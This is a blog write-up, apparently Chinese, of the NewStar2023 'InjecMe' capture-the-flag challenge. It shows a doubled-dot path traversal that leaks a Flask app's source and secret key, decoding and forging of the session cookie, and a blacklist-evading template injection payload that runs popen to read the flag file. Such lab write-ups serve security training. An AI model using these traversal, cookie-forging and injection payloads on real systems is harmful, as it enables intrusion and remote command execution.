NewStar2023--week4---InjecMe

文章摘要

Bpple-GPT

NewStar2023--week4---InjecMe

image-20241105140807175

发现了一张图片,我们发现一段源码

我们目录穿越,利用双写绕过

 /cancanneed?file=....//....//app.py
 /cancanneed?file=....//....//config.py

app.py内容如下:

 import os
 import re
 
 from flask import Flask, render_template, request, abort, send_file, session, render_template_string
 from config import secret_key
 
 app = Flask(__name__)
 app.secret_key = secret_key
 
 
 @app.route('/')
 def hello_world():  # put application's code here
     return render_template('index.html')
 
 
 @app.route("/cancanneed", methods=["GET"])
 def cancanneed():
     all_filename = os.listdir('./static/img/')
     filename = request.args.get('file', '')
     if filename:
         return render_template('img.html', filename=filename, all_filename=all_filename)
     else:
         return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"
 
 
 @app.route("/download", methods=["GET"])
 def download():
     filename = request.args.get('file', '')
     if filename:
         filename = filename.replace('../', '')
         filename = os.path.join('static/img/', filename)
         print(filename)
         if (os.path.exists(filename)) and ("start" not in filename):
             return send_file(filename)
         else:
             abort(500)
     else:
         abort(404)
 
 
 @app.route('/backdoor', methods=["GET"])
 def backdoor():
     try:
         print(session.get("user"))
         if session.get("user") is None:
             session['user'] = "guest"
         name = session.get("user")
         if re.findall(
                 r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                 name):
             abort(500)
         else:
             return render_template_string(
                 '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
     except Exception:
         abort(500)
 
 
 @app.errorhandler(404)
 def page_not_find(e):
     return render_template('404.html'), 404
 
 
 @app.errorhandler(500)
 def internal_server_error(e):
     return render_template('500.html'), 500
 
 
 if __name__ == '__main__':
     app.run('0.0.0.0', port=8080)
 解释

app.py中发现密钥应该是在 config.py文件中

 secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

访问 /backdoor

image-20241105140537264

 eyJ1c2VyIjoiZ3Vlc3QifQ.Zym1bQ.RODwmojjYR1LnyEq1Nj-H0Bj-rs

解码:

 PS E:\gitcode\flask-session-cookie-manager-1.2.1.1\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py decode  -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -c "eyJ1c2VyIjoiZ3Vlc3QifQ.Zym1bQ.RODwmojjYR1LnyEq1Nj-H0Bj-rs"
 {'user': 'guest'}

过滤了很多内容,主要思路利用向user里面执行注入

         if re.findall(
                 r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                 name):

这里利用变量替代的方法

 {"user": "{% print(''[session['a']][session['b']][0][session['c']]()[117][session['d']][session['e']][session['f']]('more /y0U3_f14g_1s_h3re')[session['g']]())%}",
                 "a":'__class__',
                 "b":'__bases__',
                 "c":'__subclasses__',
                 "d":'__init__',
                 "e":'__globals__',
                 "f":'popen',
                 "g":'read'
                }

这里利用Yakit发包了,在网页直接弄不行


用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计